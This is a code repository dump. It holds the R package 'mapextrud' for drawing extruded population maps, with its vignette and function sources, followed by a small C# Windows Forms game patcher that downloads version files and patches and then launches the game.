eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map10.png")){ png("../img/map10.png", width = 2070, height = 900, res = 300) par(mar = c(0,0,0,0)) library(SpatialPosition) data("hospital") # Compute potentials pot <- quickStewart(x = hospital, var = "capacity", span = 800, beta = 2, mask = paris, returnclass = "sf") pot$colors <- cartography::carto.pal(pal1 = "blue.pal" ,n1 = length(pot$id)) basemap <- deform(pot) extrude(basemap, "center", k = 4, col = "colors", lwd = 0.2, regular = FALSE) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} library(SpatialPosition) data("hospital") # Compute potentials pot <- quickStewart(x = hospital, var = "capacity", span = 800, beta = 2, mask = paris, returnclass = "sf") pot$colors <- cartography::carto.pal(pal1 = "blue.pal" ,n1 = length(pot$id)) basemap <- deform(pot) extrude(basemap, "center", k = 4, col = "colors", lwd = 0.2, regular = FALSE) ``` ![[Zoom](../img/map10.png)](../img/map10.png){ width=100% } ## 5 - Height or Volume? On extruded maps, representing density is equivalent to varying the volume rather than varying the height. In the example below, we also take care to split the multiparty polygons and assign the population to them in proportion to the surface area. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map11.png")){ png("../img/map11.png", width = 2070, height = 1400, res = 300) par(mar = c(0,0,0,0)) us <- st_read(system.file("us.gpkg", package="mapextrud")) us$area <- st_area(st_geometry(us)) us2 <- st_cast(us,"POLYGON", warn=FALSE) us2$area2 <- st_area(st_geometry(us2)) us2$pop <-round( us2$pop2019 * as.numeric(us2$area2) / as.numeric(us2$area),0) us2$density <- us2$pop / as.numeric(us2$area2) * 1000000 basemap <- deform(us2) extrude(basemap, var = "density" , k = 80, col = "white") dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} us <- st_read(system.file("us.gpkg", package="mapextrud")) us$area <- st_area(st_geometry(us)) us2 <- st_cast(us,"POLYGON", warn=FALSE) us2$area2 <- st_area(st_geometry(us2)) us2$pop <-round( us2$pop2019 * as.numeric(us2$area2) / as.numeric(us2$area),0) us2$density <- us2$pop / as.numeric(us2$area2) * 1000000 basemap <- deform(us2) extrude(basemap, var = "density" , k = 80, col = "white") ``` ![[Zoom](../img/map11.png)](../img/map11.png){ width=100% } ## 6 - What about regular grids? For regular geometries, you can use the parameter *regular = TRUE* to speed up the calculations. Tip: on irregular basemaps, you can also use this option to test and then remove it to finalize your map. Here, an example on world population based on on a sample extracted form gpw-v4 data available [here](https://sedac.ciesin.columbia.edu/data/collection/gpw-v4) ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map12.png")){ library(raster) library(rnaturalearth) png("../img/map12.png", width = 2070, height = 700, res = 300) par(mar = c(0,0,0,0)) # Map Projection crs <- "+proj=eqc +lat_ts=0 +lat_0=0 +lon_0=0 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs" # Countries countries <- ne_countries(scale = 110, type = "countries", returnclass = "sf") countries <- st_transform(countries, crs) countries <- countries[countries$adm0_a3 != "ATA",] countries <- st_sf(st_buffer(st_union(countries),1)) # World population r <- raster(system.file("worldpop.tif", package="mapextrud")) dots <- as(r, 'SpatialPointsDataFrame') dots <- st_as_sf(dots) dots <- st_transform(dots, crs) colnames(dots) <- c("pop2020","geometry") grid <- st_make_grid(countries, cellsize = 300000, square = FALSE) grid <- aggregate(dots["pop2020"], grid, sum) # Cartography basemap <- deform(grid, flatten = 1.2) extrude(x = basemap, var = "pop2020", k = 4, col = "white", lwd = 0.4, regular = TRUE, add = F) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} library(raster) library(rnaturalearth) # Map Projection crs <- "+proj=eqc +lat_ts=0 +lat_0=0 +lon_0=0 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs" # Countries countries <- ne_countries(scale = 110, type = "countries", returnclass = "sf") countries <- st_transform(countries, crs) countries <- countries[countries$adm0_a3 != "ATA",] countries <- st_sf(st_buffer(st_union(countries),1)) # World population r <- raster(system.file("worldpop.tif", package="mapextrud")) dots <- as(r, 'SpatialPointsDataFrame') dots <- st_as_sf(dots) dots <- st_transform(dots, crs) colnames(dots) <- c("pop2020","geometry") grid <- st_make_grid(countries, cellsize = 300000, square = FALSE) grid <- aggregate(dots["pop2020"], grid, sum) # Cartography basemap <- deform(grid, flatten = 1.2) extrude(x = basemap, var = "pop2020", k = 4, col = "white", lwd = 0.2, regular = TRUE, add = F) ``` ![[Zoom](../img/map12.png)](../img/map12.png){ width=100% } As everything is based on *sf*, you can simply combine different layers to finalize the map. Here, we only keep the cells where the population is greater than 5 million people. Thus, 77 % of the world's population is represented on the map. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map13.png")){ png("../img/map13.png", width = 2070, height = 700, res = 300) par(mar = c(0,0,0,0)) library(raster) library(rnaturalearth) # Map Projection crs <- "+proj=eqc +lat_ts=0 +lat_0=0 +lon_0=0 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs" # Countries countries <- ne_countries(scale = 110, type = "countries", returnclass = "sf") countries <- st_transform(countries, crs) countries <- countries[countries$adm0_a3 != "ATA",] countries <- st_sf(st_buffer(st_union(countries),1)) # World population r <- raster(system.file("worldpop.tif", package="mapextrud")) dots <- as(r, 'SpatialPointsDataFrame') dots <- st_as_sf(dots) dots <- st_transform(dots, crs) colnames(dots) <- c("pop2020","geometry") grid <- st_make_grid(countries, cellsize = 200000, square = FALSE) grid <- aggregate(dots["pop2020"], grid, sum) # Deform basemap <- deform(grid, flatten = 1.2) frame <- deform(getframe(countries), flatten = 1.2) world <- deform(countries, flatten = 1.2) # Selection total <- sum(basemap$pop2020, na.rm = TRUE) basemap <- basemap[basemap$pop2020 > 5000000 & !is.na(basemap$pop2020),] pct <- round((sum(basemap$pop2020) / total) * 100,0) # Cartography plot(st_geometry(frame), col = "#c5dbed", lwd = 0.2) plot(st_geometry(world), col = "#e3dbca", border = "#7f8aad", lwd = 0.3, add = TRUE) extrude(x = basemap, var = "pop2020", k = 5, col = "#e65c5c", lwd = 0.2, regular = TRUE, add = TRUE) # Layout text(x= -28000000, y =11500000, "An Urban World (population in 2020)", cex = 0.9, col = "#5e698a", pos = 4) text(x= 42000000, y = -11500000, "Made with the R package mapextrud", cex = 0.6, col = "#414245", pos = 2) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} library(raster) library(rnaturalearth) # Map Projection crs <- "+proj=eqc +lat_ts=0 +lat_0=0 +lon_0=0 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs" # Countries countries <- ne_countries(scale = 110, type = "countries", returnclass = "sf") countries <- st_transform(countries, crs) countries <- countries[countries$adm0_a3 != "ATA",] countries <- st_sf(st_buffer(st_union(countries),1)) # World population r <- raster(system.file("worldpop.tif", package="mapextrud")) dots <- as(r, 'SpatialPointsDataFrame') dots <- st_as_sf(dots) dots <- st_transform(dots, crs) colnames(dots) <- c("pop2020","geometry") grid <- st_make_grid(countries, cellsize = 200000, square = FALSE) grid <- aggregate(dots["pop2020"], grid, sum) # Deform basemap <- deform(grid, flatten = 1.2) frame <- deform(getframe(countries), flatten = 1.2) world <- deform(countries, flatten = 1.2) # Selection total <- sum(basemap$pop2020, na.rm = TRUE) basemap <- basemap[basemap$pop2020 > 5000000 & !is.na(basemap$pop2020),] pct <- round((sum(basemap$pop2020) / total) * 100,0) # Cartography plot(st_geometry(frame), col = "#c5dbed", lwd = 0.2) plot(st_geometry(world), col = "#e3dbca", border = "#7f8aad", lwd = 0.3, add = TRUE) extrude(x = basemap, var = "pop2020", k = 5, col = "#e65c5c", lwd = 0.2, regular = TRUE, add = TRUE) # Layout text(x= -28000000, y =11500000, "An Urban World (population in 2020)", cex = 0.9, col = "#5e698a", pos = 4) text(x= 42000000, y = -11500000, "Made with the R package mapextrud", cex = 0.6, col = "#414245", pos = 2) ``` ![[Zoom](../img/map13.png)](../img/map13.png){ width=100% } ## 7 - Adding a Legend Finally, the *legendextrud()* function allows you to add a legend to your extruded map. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map14.png")){ png("../img/map14.png", width = 2070, height = 900, res = 300) par(mar = c(0,0,0,0)) library(sf) us <- st_read(system.file("us.gpkg", package="mapextrud")) basemap <- deform(us) extrude(basemap, var = "pop2019" , k = 1, col = "white", lwd = 0.5) legendextrud(x = basemap, var = "pop2019", k = 1, title.txt = "Population in 2019", unit = "inh.", pos = c(-2969082,-791588.8)) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} library(sf) us <- st_read(system.file("us.gpkg", package="mapextrud")) basemap <- deform(us) extrude(basemap, var = "pop2019" , k = 1, col = "white", lwd = 0.5) legendextrud(x = basemap, var = "pop2019", k = 1, title.txt = "Population in 2019", unit = "inh.", pos = c(-2969082,-791588.8)) ``` ![[Zoom](../img/map14.png)](../img/map14.png){ width=100% } <file_sep>/R/legendextrud.R #' Legend #' @param x an sf object (polygon or multipolygons). #' @param var name of the numeric field in df to plot. #' @param k numeric value to adjust the height of the extruded polygons #' @param title.txt Title of the legend #' @param unit unit of the variable #' @param title.cex title cex #' @param values.cex velues cex #' @param pos c(x,y) position on the legend #' @param title.font title font #' @return #' @export #' @examples #' library(sf) #' us <- st_read(system.file("us.gpkg", package="mapextrud")) #' basemap <- deform(us) #' extrude(basemap, var = "pop2019" , k = 1, col = "white") #' legendextrud(x = basemap, var = "pop2019", k = 1, title.txt = "Population in 2019", unit = "inh.") legendextrud <- function(x, var,k, title.txt = "Title of the legend", unit = "", title.cex = 0.8, values.cex = 0.6, pos = NULL, title.font = 2){ h <- st_bbox(x)[4]-st_bbox(x)[2] m <- max(x[,var] %>% st_drop_geometry()) k <- as.numeric(k * 0.1 * h / m) valmin <- min(x[,var] %>% st_drop_geometry(), na.rm=TRUE) valmax <- max(x[,var] %>% st_drop_geometry(), na.rm=TRUE) heightmin <- valmin * k heightmax <- valmax * k height <- heightmax - heightmin delta <- (par()$usr[2] - par()$usr[1]) / 50 if (is.null(pos)){ pos <- c(par()$usr[1] + delta ,par()$usr[4] - delta) } text(x = pos[1] ,y = pos[2], title.txt, adj = c(0,0), cex = title.cex, font = title.font) segments(x0 = pos[1], y0 = pos[2] - delta, x1 = pos[1] + delta, y1 = pos[2] - delta, col= 'black') text(x = pos[1] + delta * 1.5, y = pos[2] - delta, paste0(valmax, " ", unit), cex = values.cex, adj = c(0,0.4)) segments(x0 = pos[1], y0 = pos[2] - delta, x1 = pos[1], y1 = pos[2] - delta - height, col= 'black') segments(x0 = pos[1], y0 = pos[2] - delta - height, x1 = pos[1] + delta, y1 = pos[2] - delta - height, col= 'black') text(x = pos[1] + delta * 1.5, y = pos[2] - delta - height, valmin, cex = values.cex, adj = c(0,0.4)) } <file_sep>/R/extrude.R #' Extruded map (beta version) #' #' @param x an sf object (polygon or multipolygons). #' @param var name of the numeric field in df to plot. #' @param k numeric value ti adjust the height of the extruded polygons #' @param border color border #' @param lwd line thickness #' @param col One color or the field name containg colors for each polygons #' @param regular use TRUE with regular grids for faster calculation #' @param add whether to add the layer to an existing plot (TRUE) or not (FALSE). #' #' @return #' @export #' #' @examples #' library(sf) #' us <- st_read(system.file("us.gpkg", package="mapextrud")) #' basemap <- deform(us) #' extrude(basemap, var = "pop2019" , k = 1, col = "white") extrude <- function(x, var, k = 1, lwd=1, col = "white", border = "black", regular = FALSE, add = FALSE) { # xraw <- x x[is.na(x[,var]),var] <- 0 x <- x[x[,var] %>% st_drop_geometry() > 0,] tmp <- x[is.na(x[,var]),] ids <- row.names(tmp) x[rownames(x) %in% ids,var] <- 0 h <- st_bbox(x)[4]-st_bbox(x)[2] m <- max(x[,var] %>% st_drop_geometry()) k = k * 0.1 * h / m x$id <- row.names(x) x[,"height"] <- x[,var] %>% st_drop_geometry() * k x[is.na(x[,var]),"height"] <- 0 n1 <- dim(x)[1] # g <- unique(as.character(sf::st_geometry_type(x))) single <- x[st_geometry_type(x) == "POLYGON",] multi <- x[st_geometry_type(x) == "MULTIPOLYGON",] exploded <- st_cast(multi,"POLYGON", warn = FALSE) x <- rbind(single, exploded) # x <- st_cast(x, "POLYGON", warn = FALSE) n2 <- dim(x)[1] if(n2 > n1){ message("Splitting multi-part polygon into single polygons. The same value is assigned to each splitted polygon.") x$id <- row.names(x) } nodes <- st_cast(x,"MULTIPOINT", warn = FALSE) nodes <- st_cast(nodes, "POINT", warn=FALSE) if(dim(nodes)[1]> 2000 & regular == FALSE){ if (interactive()){ cat(paste0("Sorry, the script is not optimized...\nThe basemap is not enough generalized (",dim(nodes)[1]," nodes) and the computation will take time.\nDo you still want to continue ? [y/n]")) z <- readLines(con = stdin(), n = 1) while (!z %in% c("n","y")){ cat ("Enter y or n") z <- readLines(con = stdin(), n = 1) } if (z == "y"){ cat("Okay!\nGo get a coffee and come back later to see the result (or press esc to abort)\n") } else { stop("Computation aborted", call. = F) } } else { stop("Computation aborted", call. = F) } } L1 <- data.frame(st_coordinates(x)) nodes <- st_sf(cbind(data.frame(nodes),L1= L1$L1)) nodes$id2 <- paste(nodes$id,nodes$L1,sep="_") # Faces nodes$first <- !duplicated(nodes$id2) nodes$last <- !duplicated(nodes$id2, fromLast = TRUE) dots1 <- nodes[!nodes$last,] dots2 <- nodes[!nodes$first,] p1x <- st_coordinates(dots1)[,1] p1y <- st_coordinates(dots1)[,2] p2x <- st_coordinates(dots2)[,1] p2y <- st_coordinates(dots2)[,2] p3x <- p2x p3y <- p2y + dots2$height p4x <- p1x p4y <- p1y + dots1$height faces <- dots1 faces$ang <- atan((p2y - p1y) / ( p2x - p1x))*180/pi faces$pos <- (p1y + p2y)/2 st_geometry(faces) <- st_as_sfc(paste0("POLYGON((",p1x," ",p1y,", ",p2x," ",p2y,", ",p3x," ",p3y,", ",p4x," ",p4y,", ",p1x," ",p1y,"))")) # Colors if(col %in% names(x)){ fill <- c("white","#d1c9b2","#b8b1a0") faces$fill <- fill[2] faces[faces$ang > 0,"fill"] <- fill[3] } else{ if(col == "white"){ fill <- c("white","white","white") } else { pal <- colorRampPalette(c("white",col,"black"))(11) fill <- c(col, pal[3],pal[7]) } faces$fill <- fill[2] faces[faces$ang > 0,"fill"] <- fill[3] } # Tops tops <- x for (i in 1:dim(tops)[1]) { st_geometry(tops[i,]) <- st_geometry(tops[i,]) + c(0, as.numeric(x[i,var])[1] * k) } tops <- tops[order(tops$height, decreasing = FALSE),] st_crs(tops) <- NA if(regular == FALSE){ message(paste0("Topological detection (",dim(nodes)[1]," nodes)")) lines <- faces st_geometry(lines) <- st_as_sfc(paste0("LINESTRING(",p1x," ",p1y,", ",p2x," ",p2y,")")) nb = dim(lines)[1] span <- round(nb/10,0) init <- span pct <- 10 for(i in 1:nb){ r <- st_contains(lines[i,], lines) faces$i1[i] <- i if(r[[1]][1] == i){faces$i2[i] <- r[[1]][2]} else {faces$i2[i] <-r[[1]][1] } if(i == span){ cat(paste0("[",pct,"%]")) span <- span + init pct <- pct + 10 } } cat("[100%]") fext <- faces[is.na(faces$i2),] f <- faces[!is.na(faces$i2),] message("") message("Extrude faces") span <- round(length(f$i1)/10,0) init <- span pct <- 10 count <- 1 f$none <- 0 for(i in f$i1){ i2 <- f$i2[f$i1 == i] poly1 <- st_geometry(f[f$i1 == i,]) poly2 <- st_geometry(f[f$i1 == i2,]) height1 <- f$height[f$i1 == i] height2 <- f$height[f$i1 == i2] #if(height2 == 0){poly2 <- st_buffer(poly2,1)} if(height1 > height2){ st_geometry(f[f$i1==i,]) <- st_difference(poly1,poly2) } else { f$none[f$i1==i] <- 1 } if(count == span){ cat(paste0("[",pct,"%]")) span <- span + init pct <- pct + 10 } count <- count +1 } cat("[100%]") f <- f[f$none == 0,] f <- f[order(f$pos, decreasing = TRUE),] message("") message("Cleaning") f <- f[,c("id","height","fill","pos")] fext <- fext[,c("id","height","fill","pos")] f$type <- "inter" fext$type <- "ext" faces <- rbind(fext,f) faces <- faces[order(faces$pos,decreasing = TRUE),] nb <- dim(faces)[1] faces$none <- 0 faces$i <- 1:nb span <- round(nb/10,0) init <- span pct <- 10 for (i in 1:nb){ id <- (faces[i,"id"] %>% st_drop_geometry())[,1] poly1 <- st_geometry(faces[i,]) poly2 <- st_union(st_geometry(faces[faces$i > i, ])) poly2 <- st_union(poly2,st_geometry(tops[tops$id==id,])) geom <- st_difference(poly1,st_buffer(poly2,1)) if (length(geom) > 0){ st_geometry(faces[i,]) <- geom } else { faces[i,"none"] <- 1 } if(i == span){ cat(paste0("[",pct,"%]")) span <- span + init pct <- pct + 10 } } cat("[100%]") faces <- faces[faces$none == 0,] # Plot plot(st_geometry(xraw),col=fill[1], lwd = lwd, add=add) # plot(st_geometry(xraw),col="white", lwd = lwd, add=add) for(i in tops$id) { plot(st_geometry(faces[faces$id == i,]), col=faces$fill[faces$id ==i], lwd = lwd, border = border, add = TRUE) if(col %in% names(x)) { plot(st_geometry(tops[tops$id == i,]), col=tops$color[tops$id == i], lwd = lwd, border = border, add = TRUE) } else { plot(st_geometry(tops[tops$id == i,]), col=fill[1], lwd = lwd, border = border, add = TRUE) } } message("") message("Done") } else { # f <- faces # Sort message("Extrusion et ordering") faces <- faces[,c("id","pos","fill")] for (i in tops$id){ tops[tops$id == i,"pos"] <- max(faces[faces$id == i,"pos"] %>% st_drop_geometry()) - 1000 } if(col %in% names(x)){ tops$fill <- (tops[,col] %>% st_drop_geometry())[,1] } else { tops$fill <- fill[1] } tops <- tops[,c("id","pos","fill")] geom <- rbind(faces, tops) geom <- geom[order(geom$pos, decreasing = TRUE),] # Display plot(st_geometry(xraw), lwd = lwd, border = border, add=add) plot(st_geometry(geom), col=geom$fill, lwd = lwd, border = border, add = TRUE) } } <file_sep>/R/getframe.R #' @title Get Frame. #' @description Make a frame around the map. #' @name getframe #' @param x an sf object. #' @return an sf object. #' @export #' #' @examples #' library(sf) #' us <- st_read(system.file("us.gpkg", package="mapextrud")) #' f <- getframe(us) #' plot(st_geometry(f)) #' plot(st_geometry(us), add = TRUE) getframe <- function(x){ bb <- st_bbox(x) d <- (bb[3] - bb[1]) / 50 bb <- bb + c(-d, -d, d, d) frame <- st_as_sfc(bb, crs = st_crs(x)) frame <- st_sf(geometry = frame) return(frame) } <file_sep>/R/rotate.R #' @title Rotate basemap. #' @description Rotate sf basemap. #' @name rotate #' @param x an sf object. #' @param deg degree angle. #' @return an sf object. #' @export #' #' @examples #' library(sf) #' us <- st_read(system.file("us.gpkg", package="mapextrud")) #' us2 <-rotate(us, 180) #' plot(st_geometry(us2)) rotate <- function(x, deg){ geom <- st_geometry(x) rot = function(a) matrix(c(cos(a), sin(a), -sin(a), cos(a)), 2, 2) ctr <- st_centroid(st_as_sfc(st_bbox(geom))) geom <- (geom - ctr) * rot(deg * pi/180) + ctr st_geometry(x) <- geom return(x) } <file_sep>/R/deform.R #' Deform basemap. #' @param x an sf object (polygon or multipolygons). #' @param flatten numerical value indicating the scaling in Y (1 = no flattening). #' @param rescale a vector of two numeric values indicating the deformation of the top and bottom of the figure (c(1,1) = no deformation). #' @return an sf object (polygon or multipolygons). #' @export # #' @examples #' library(sf) #' us <- st_read(system.file("us.gpkg", package="mapextrud")) #' f <- getframe(us) #' us2 <- deform(us) #' # Example 1 (default values) #' f2 <- deform(f) #' plot(st_geometry(f2)) #' plot(st_geometry(us2), add = TRUE) #' # Exemple 2 (user values) #' us3 <- deform(us, flatten=0.5, rescale = c(0.5, 3)) #' f3 <- deform(f, flatten=0.5, rescale = c(0.5, 3)) #' plot(st_geometry(f3)) #' plot(st_geometry(us3), add = TRUE) deform <- function(x, flatten = 0.8, rescale = c(1.3,2)){ ymin <- as.numeric(st_bbox(x)[2]) # prendre en compte le frame ? ymax <- as.numeric(st_bbox(x)[4]) # prendre en compte le frame ? # Centering cx <- as.numeric((st_bbox(x)[3] + st_bbox(x)[1]) / 2) cy <- as.numeric((st_bbox(x)[4] + st_bbox(x)[2]) / 2) geom <- st_geometry(x) geom <- geom - c(cx, cy) st_geometry(x) <- geom # translate nodes for (i in 1:nrow(x)){ poly <- st_geometry(x)[[i]] pts <- st_coordinates(poly) idx <- unique(pts[, colnames(pts) %in% c("L1", "L2", "L3")]) # For each polygons in multipolygons for(k in 1:nrow(idx)) { newpts <- pts[pts[, "L1"] == idx[k, "L1"] & pts[, "L2"] == idx[k, "L2"], c("X", "Y")] for (n in 1:nrow(newpts)){ Y <- newpts[n,"Y"] X <- newpts[n,"X"] # transformation en Y # Y <- Y + 100000 Y <- Y * flatten newpts[n,"Y"] <- Y # transformation en X v <- c(ymin, Y, ymax) Y2 <- scales::rescale(v, c(rescale[2], rescale[1]))[2] X <- X * Y2 newpts[n,"X"] <- X } # points to polygons if (sf::st_geometry_type(sf::st_geometry(x)[[i]]) == "POLYGON"){ sf::st_geometry(x)[[i]][[idx[k, "L1"]]] <- newpts } else { sf::st_geometry(x)[[i]][[idx[k, "L2"]]][[idx[k, "L1"]]] <- newpts } } } st_geometry(x) <- st_crop(st_geometry(x), st_bbox(st_union(x))) return(x) }
35c320d0c57cbe2669011af00224124e899a61f6
[ "Markdown", "R", "RMarkdown" ]
7
Markdown
neocarto/mapextrud
86c0851b9e61ad6a361885f92b4ffb4ac43d8bfc
99f24cb768796c85f63730552799b3e28ade6bfb
refs/heads/master
<repo_name>natibes/launchUnseras<file_sep>/MGPatcher/MGException.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace MGPatcher { public class MGException: System.Exception { public MGException() { } public MGException(string message) : base(message) { } } } <file_sep>/MGPatcher/PatcherWindow.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Windows.Forms; using System.Threading; using System.IO; using System.Net; using System.Diagnostics; namespace MGPatcher { public partial class PatcherWindow : Form { bool direct_update = false; string game_name = "test"; string current_version = "1.0.0.0"; string last_version = "1.0.0.0"; string start_patch_filename = "test_"; string format_patch_name = ".patch"; string patches_url = "http://host/Win/x86/"; string version_url = "http://host/Win/x86/"; string[] versions; BackgroundWorker worker; AutoResetEvent patchDownloadEvent; Exception downloadingException; private string filename; public PatcherWindow() { InitializeComponent(); worker = new BackgroundWorker(); } private void PatcherWindow_Load(object sender, EventArgs e) { patchDownloadEvent = new AutoResetEvent(false); Program.target_dir = Application.StartupPath; label1.Text = current_version+"/"+last_version; direct_update = Settings.Default.DirectUpdate; game_name = Settings.Default.GameName; current_version = "1.0.0.0"; last_version = "1.0.0.0"; start_patch_filename = Settings.Default.StartPatchFileName; format_patch_name = Settings.Default.FormatPatchName; patches_url = Settings.Default.PatchesUrl; version_url = Settings.Default.VersionUrl; text_status("Initialization..."); worker.WorkerReportsProgress = true; worker.WorkerSupportsCancellation = true; worker.DoWork += new DoWorkEventHandler(Update); worker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(UpdateDone); worker.RunWorkerAsync(); } void AfterUpdate() { Process process = new Process(); process.StartInfo = new ProcessStartInfo(Path.Combine(Application.StartupPath, game_name + ".exe")); process.Start(); this.Close(); } string[] transcript_versions(string versions_string) { string localsave = versions_string; string resultsave = ""; string[] array = new string[50]; int i = 0; while (localsave.IndexOf('&') != -1) { int index = localsave.IndexOf('&'); resultsave = localsave.Remove(index, localsave.Length - index); array[i] = resultsave; localsave = localsave.Remove(0, index + 1); i++; } array[i] = localsave; string[] cache_array = new string[i + 1]; for (int j = 0; j < cache_array.Length; j++) { cache_array[j] = array[j]; } array = cache_array; return array; } void text_status(string text) { if (label2.InvokeRequired) label2.Invoke(new Action<string>(text_status), text); else label2.Text = text; } void progress(int percent) { if (progressBar1.InvokeRequired) progressBar1.Invoke(new Action<int>(progress), percent); else { progressBar1.Value = percent; Windows7Taskbar.SetProgressValue(this.Handle, (ulong)percent, (ulong)progressBar1.Maximum); } } void UpdateDone(object sender, RunWorkerCompletedEventArgs e) { if (!e.Cancelled) { AfterUpdate(); text_status("Patch done!"); progress(100); return; } text_status("Update error"); progress(0); } void download_done(object sender, AsyncCompletedEventArgs e) { if (e.Error != null) downloadingException = e.Error; else downloadingException = null; patchDownloadEvent.Set(); } void download_progress(object sender, DownloadProgressChangedEventArgs e) { text_status(string.Format("Download file {0} - [{1}/{2}]Kb - {3} ", e.UserState.ToString(), PatcherUpdate.HumanReadableSizeFormat(e.BytesReceived/1024), PatcherUpdate.HumanReadableSizeFormat(e.TotalBytesToReceive/1024), e.ProgressPercentage.ToString())); progress(e.ProgressPercentage); } void Update(object sender, DoWorkEventArgs e) { progress(0); text_status("Checking for new updates..."); BackgroundWorker worker = (BackgroundWorker)sender; try { current_version = File.ReadAllText(Path.Combine(Application.StartupPath, "CurrentVersion")); } catch { e.Cancel = true; MessageBox.Show("There is no information about the current version!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (worker.CancellationPending) { e.Cancel = true; return; } try { string lst_version = ""; text_status("Check version..."); System.Net.WebClient webClientVer = new System.Net.WebClient(); lst_version = webClientVer.DownloadString(new Uri(version_url + "version")); string[] versions_cache = transcript_versions(lst_version); int cur_pos_vers = 0; for (int i = 0; i < versions_cache.Length; i++) {//read lines if (versions_cache[i] == current_version) { cur_pos_vers = i; } else { if (versions_cache.Length == 1) cur_pos_vers = -1; } } if (cur_pos_vers != -1 && current_version != "start_version") { if (versions_cache.Length != 0) versions = new string[versions_cache.Length - cur_pos_vers - 1]; int j = 0; for (int i = cur_pos_vers + 1; i < versions_cache.Length; i++) { versions[j] = versions_cache[i]; j++; } } else { versions = versions_cache; } if (versions.Length != 0) last_version = versions[versions.Length - 1];//get last version else last_version = current_version; label1.Text = current_version + "/" + last_version; } catch (Exception ex) { e.Cancel = true; WebException webex = (WebException)ex; HttpWebResponse response = (HttpWebResponse)webex.Response; MessageBox.Show("The server version of the file is missing!" + "\nResponse: " + response.StatusDescription, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (worker.CancellationPending) { e.Cancel = true; return; } if (current_version == last_version) { text_status("Update not required"); label1.Text = current_version + "/" + current_version; progress(100); } else { if (direct_update) { System.Net.WebClient webClient = new System.Net.WebClient(); webClient.DownloadProgressChanged += new DownloadProgressChangedEventHandler(download_progress); webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(download_done); string temp_patch = Path.GetTempFileName(); string patch_filename = start_patch_filename + string.Format("{0}_{1}" + format_patch_name, current_version.Replace('.', '_'), last_version.Replace('.', '_')); string patch_uri = patches_url + patch_filename; patchDownloadEvent.Reset(); try { webClient.DownloadFileAsync(new Uri(patch_uri), temp_patch, patch_filename); } catch (UriFormatException) { e.Cancel = true; MessageBox.Show("There is no file on the server or the server is unavailable.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } patchDownloadEvent.WaitOne(); if (downloadingException != null) { WebException webex = (WebException)downloadingException; HttpWebResponse response = (HttpWebResponse)webex.Response; e.Cancel = true; MessageBox.Show("\nMessage: " + webex.Message + "\nRequest: " + (response != null ? response.ResponseUri.ToString() : "null") + "\nResponse: " + (response != null ? response.StatusDescription : "null"), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } try { FileInfo fi = new FileInfo(temp_patch); if (fi.Length != 0) { PatcherUpdate.StartPatch(temp_patch, new Action<string, int>(delegate(string text, int percent) { text_status(text); progress(percent); })); } else { e.Cancel = true; MessageBox.Show("Patch file not downloaded!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } catch (Exception ex) { MessageBox.Show(string.Format("Patch file is incorrect: {0}\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); e.Cancel = true; return; } File.Delete(temp_patch); } else { for (int i = 0; i < versions.Length; i++) { System.Net.WebClient webClient = new System.Net.WebClient(); webClient.DownloadProgressChanged += new DownloadProgressChangedEventHandler(download_progress); webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(download_done); string temp_patch = Path.GetTempFileName(); string patch_filename = start_patch_filename + string.Format("{0}_{1}" + format_patch_name, current_version.Replace('.', '_'), versions[i].Replace('.', '_')); string patch_uri = patches_url + patch_filename; patchDownloadEvent.Reset(); try { webClient.DownloadFileAsync(new Uri(patch_uri), temp_patch, patch_filename); } catch (UriFormatException) { e.Cancel = true; MessageBox.Show("There is no file on the server or the server is unavailable.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } patchDownloadEvent.WaitOne(); if (downloadingException != null) { WebException webex = (WebException)downloadingException; HttpWebResponse response = (HttpWebResponse)webex.Response; e.Cancel = true; MessageBox.Show("There is no file on the server or the server is unavailable." + "\nMessage: " + webex.Message + "\nRequest: " + (response != null ? response.ResponseUri.ToString() : "null") + "\nResponse: " + (response != null ? response.StatusDescription : "null"), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } try { FileInfo fi = new FileInfo(temp_patch); if (fi.Length != 0) { PatcherUpdate.StartPatch(temp_patch, new Action<string, int>(delegate(string text, int percent) { text_status(text); progress(percent); })); } else { e.Cancel = true; MessageBox.Show("Patch file not downloaded!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } catch (Exception ex) { MessageBox.Show(string.Format("Patch file is incorrect: {0}\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); e.Cancel = true; return; } File.Delete(temp_patch); current_version = versions[i]; label1.Text = current_version + "/" + last_version; } } saveCurrentVersionFromFile(current_version); } } void saveCurrentVersionFromFile(string versionName) { if (!File.Exists(Path.Combine(Application.StartupPath, "CurrentVersion"))) File.Create(Path.Combine(Application.StartupPath, "CurrentVersion")); File.WriteAllText(Path.Combine(Application.StartupPath, "CurrentVersion"), versionName); } } }
14323b0d39e9a9b38011bfdc07431a3caee37400
[ "C#" ]
2
C#
natibes/launchUnseras
